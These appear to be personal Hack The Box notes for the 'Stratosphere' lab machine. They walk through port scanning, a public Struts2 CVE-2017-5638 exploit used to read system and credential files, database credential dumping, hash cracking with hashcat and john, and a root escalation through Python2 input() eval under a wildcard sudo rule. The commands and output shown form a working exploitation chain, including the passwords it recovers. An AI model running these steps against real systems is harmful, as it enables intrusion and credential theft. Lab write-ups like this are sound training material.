[HTB Notes] Stratosphere

1. Check open ports
nmap --min-rate 1000 -p- -v 10.10.10.64
# 22/tcp   open  ssh
# 80/tcp   open  http
# 8080/tcp open  http-proxy
nmap -oA stratosphere -p22,80,8080 -sC -sV -v 10.10.10.64
# 22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
# | ssh-hostkey:
# |   2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
# |   256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
# |_  256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
# 80/tcp   open  http
# | http-methods:
# |   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
# |_  Potentially risky methods: PUT DELETE
# |_http-title: Stratosphere
# 8080/tcp open  http-proxy
# | http-methods:
# |   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
# |_  Potentially risky methods: PUT DELETE
# |_http-open-proxy: Proxy might be redirecting requests
# |_http-title: Stratosphere

2. Explore HTTP service
[x] Run dirbuster on http://10.10.10.64
[x] WORDLIST: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[-] /manager
[-] /Monitoring
[x] Exploit using CVE-2017-5638
git clone https://github.com/immunio/apache-struts2-CVE-2017-5638.git
# Edit "exploit3.py"
#
# url = 'http://10.10.10.64/Monitoring/example/Welcome.action'
[x] Run RCE exploit
python exploit3.py "cat /etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash
# tomcat8:x:115:119::/var/lib/tomcat8:/bin/bash
# mysql:x:116:120:MySQL Server,,,:/nonexistent:/bin/false
python exploit3.py "cat /etc/tomcat8/tomcat-users.xml"
# username="teampwner"
# password="cd@6sY{f^+kZV8J!+o*t|<fpNy]F_(Y$"
# roles="manager-gui,admin-gui"
#
# Attempt to login to http://10.10.10.64/manager
# ///RABBIT HOLE
python exploit3.py "ls -la"
# -rw-r--r--  1 root    root      68 Oct  2  2017 db_connect
python exploit3.py "cat db_connect"
# [ssn]
# user=ssn_admin
# pass=AWs64@on*&
#
# [users]
# user=admin
# pass=admin
python exploit3.py "mysql -uadmin -padmin -e \"SHOW databases;\""
# users
python exploit3.py "mysql -uadmin -padmin -e \"USE users; SHOW tables;\""
# accounts
python exploit3.py "mysql -uadmin -padmin -e \"USE users; SELECT * FROM accounts;\""
# fullName = Richard F. Smith
# password = 9tc*rhKuG5TyXvUJOrE^5CK7k
# username = richard

3. Generate User Shell
ssh -l richard 10.10.10.64
# richard@10.10.10.64's password: 9tc*rhKuG5TyXvUJOrE^5CK7k
[x] While inside shell:
ls -la
# -rwxr-x--- 1 root    richard 1507 Mar 19 15:23 test.py
# -r-------- 1 richard richard   33 Feb 27  2018 user.txt
cat user.txt
# e610b298611fa732fca1665a1c02336b

4. Attempt Privilege Escalation (richard -> root)
[x] Check privileges
sudo -l
# (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
#!/usr/bin/python3
import hashlib

def question():
    q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
    md5 = hashlib.md5()
    md5.update(q1.encode())
    if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
        print("Sorry, that's not right")
        return
    print("You got it!")
    q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
    sha1 = hashlib.sha1()
    sha1.update(q2.encode())
    if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
        print("Nope, that one didn't work...")
        return
    print("WOW, you're really good at this!")
    q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
    md4 = hashlib.new('md4')
    md4.update(q3.encode())
    if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
        print("Yeah, I don't think that's right.")
        return
    print("OK, OK! I get it. You know how to crack hashes...")
    q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
    blake = hashlib.new('BLAKE2b512')
    blake.update(q4.encode())
    if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
        print("You were so close! urg... sorry rules are rules.")
        return

    import os
    os.system('/root/success.py')
    return

question()
[x] Run test.py as sudo
sudo python ~/test.py
# Solve: 5af003e100c80923ec04d65933d382cb
# # ANSWER: kaybboo!
# # SOLUTION: hashcat --force -m 0 [hash] /usr/share/wordlists/rockyou.txt
#
# Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
# # ANSWER: ninjaabisshinobi
# # SOLUTION: hashcat --force -m 100 [hash] /usr/share/wordlists/rockyou.txt
#
# How about this? 91ae5fc9ecbca9d346225063f23d2bd9
# # ANSWER: legend72
# # SOLUTION: hashcat --force -m 900 [hash] /usr/share/wordlists/rockyou.txt
#
# Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
# # ANSWER: Fhero6610
# # SOLUTION: john --format=Raw-Blake2 --wordlist=/usr/share/wordlists/rockyou.txt [hash]
#
# sh: 1: /root/success.py: not found
# ///RABBIT HOLE -- DO FOR FUN
[x] Actual solution
echo '__import__("os").system("find /root -name root.txt")' | sudo python2 ~/test.py
# /root/root.txt
echo '__import__("os").system("cat /root/root.txt")' | sudo python2 ~/test.py
# d41d8cd98f00b204e9800998ecf8427e

SIDENOTES:
[x] ~/test.py initializes as python3 (#!/usr/bin/python3)
[x] Python3 input() is equivalent to eval(raw_input()) in Python2
[x] UNIX wildcard was present in /usr/bin/python* in sudo -l
[x] ~/test.py could be coerced to run as python2 where input() is less secure
[x] input() in ~/test.py was unsanitized; therefore, exploitable